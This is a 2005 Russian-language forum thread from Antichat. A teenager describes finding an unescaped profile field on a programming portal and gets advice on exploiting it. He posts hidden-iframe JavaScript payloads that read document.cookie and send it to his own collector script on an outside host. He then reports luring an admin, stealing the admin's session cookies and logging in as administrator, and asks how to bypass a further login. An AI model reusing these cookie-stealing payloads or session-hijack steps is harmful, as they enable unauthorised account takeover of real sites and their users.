Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Взлом движка сайта (https://forum.antichat.xyz/showthread.php?t=7849)

Hquak 05.07.2005 12:53

Взлом движка сайта
 
Здравствуйте.
Не знаю, куда лучше написать это сообщение, поэтому пишу во флейм, так как написано, что сюда можно писать все(кроме рекламы).

Итак, мне 15 лет, я "увлекаюсь" web-разработками. Думаю, что неплохо владею PHP(+MySQL),HTML,CSS,JavaScript.

Я нашел уязвимость на одном из порталов по программированию. Уязвимость вот какая:

Есть страница редактирования настроек профиля. Там есть поля "Имя", "Email", "Откуда вы" и т.п. После проверки всех полей "на вшивость" я обнаружил, что при редактировании профиля поле "Откуда вы" не обрабатывается функцией htmlspecialchars(), а также не ограничивается в длине. То есть на страницу редактирования собственного профиля можно внедрить абсолютно любой html(+javascript, etc.) код.

Теперь у меня есть несколько вопросов:

1. Почему, когда я вставляю в это незащищенное поле текст типа <? echo "VasiaLamer"; ?>, у меня не выполняется код? При просмотре исходника страницы(view source) этот код написан без изменений. То есть символы < и > не заменены. Как при этом поступить, чтобы можно было выполнить запрос в БД?

2. На странице написания приватных сообщений обнаружена такая же ошибка при попытке "переслать" сообщение другому пользователю. Я сформировал javascript'ом строку вида http://hostname.ru/code.php?cookie="куки"&host="хост"
Где скрипт code.php записывает данные из строки в файлы. В результате я получил несколько хэшей паролей. Что мне с ними делать? Начать подброрку с помощью md5inside?

3. Где можно почитать про то, что такое шеллы и снифферы?

Zadoxlik 05.07.2005 13:15

1) Видать ты не так хорошо знаешь PHP как рассказываешь =). Возможны 2 варианта: работа с MySQL или работа с текстовой бд ввиде текстовых файлов. Возьмем случай номер 1. Все введенные тобой данные считываются из ячеек таблицы бд MySQL специальной командой. Но ведь там нигде нет вызова вставки файла в сценарий функцией include( ) или require( ). Значит введенная тобой информация ни каким образом не сможет быть интерпретирована как php код. Тоже самое с текстовой дб. Все манипуляции скорее всего происходят с массивом, созданным обращением к файле текст-дб $file=file("text.txt") или $fp=fopen("text.txt", "r"). В любом случае содержимое текст-дб будет так или иначе занесено в переменную(ые) и(или) массив(ы) и так же никаим образом не сможет проявить себя как PHP-сценарий.
2)Изучи структуру своих куков на портале и сверь с тем что тебе пришло. Если на портале есть система "запомнить меня" тогда ты сможешь пдделать куки и зайти на портал под чужим логином. Т.о. есть возм-сть получить админку. Для подмены куков существуют спец проги, или это можно делать вручную

3) www.ya.ru

Hquak 05.07.2005 14:06

1) Видать.

Я правильно понял, с помощью этой уязвимости ничего нельзя сделать?

Zadoxlik 05.07.2005 14:35

Нет. Если я правильно понял, то это пассивный Xss. С его помощью можно украсть куки пользователя или задефейсить браузерозависимо страницу своего профайла.

Hquak 05.07.2005 15:08

Цитата:

задефейсить браузерозависимо страницу своего профайла.
Это ясно, только вот... зачем мне дефейсить страницу своего профиля?

Zadoxlik 05.07.2005 16:22

Чтобы было развлекательно админам посмотреть.

Vandal 05.07.2005 19:26

Точно

Hquak 05.07.2005 19:35

Ладно, остановимся на cookies.

Написал небольшой скрипт на JavaScript, но кое-что не работает. Помогите.

Загружаю на страницу невидимый фрейм, который открывает мой скрипт и пишет в строке cookies.

<iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' src='javascript:var a;a=document.cookie;parent.topwindow.location.href ="http://
hostname.ru/code.php?cookie="+a;'></iframe>

Почему-то переменная "a" пуста...

Если неприльно попробовать вот так:

<iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' onload='javascript:var a;a=document.cookie;parent.topwindow.location.href ="http://
hostname.ru/code.php?cookie="+a;'></iframe>

То переменная "a" есть. В ней cookies. Но опять фрейм постоянно перезагружается.

Что тут делать? Почему в первом случае переменная пуста, а во втором нет?

P.S. Или может есть другой способ загрузить документ на своем сервере, чтобы пользователь этого не заметил?

Zadoxlik 05.07.2005 22:09

Потому что фрейм не считается тем же документом что и основная страница. Внедряй через картинку размером 0 на 0 или стили любого другого тега.

Hquak 06.07.2005 18:57

Ура! Внедрил код в картинку. Работает. :)

Написал у них на сайте в гостевухе адрес "http://...адрес просмотра профиля..." и еще какую-то лабуду. Один из админов клюнул и зашел по этой ссылке. :)

В результате в мой файл hackcookie.txt были записаны значения cookies. С помощью программы Cookie Editor(спасибо ответившим в соседней ветке) заменил значения своих cookies на cookies из файла. Захожу на сайт - я администратор. :) Дело сделано! :)

Всем спасибо! :)


Но, как оказалось позже, права администратора ничего не дают, кроме как писать в гостевухе от его имени... У них на сайте 2 степени защиты. Теперь, чтобы войти в административный центр, мне надо ввести логин и пароль... но данные того админа не подходят. Точно не помню, как такая защита называется, но вроде SSL. Выскакивает такое окошко с двумя полями "логин" и "пароль".
Эту защиту можно как-нибудь обойти?


Время: 09:17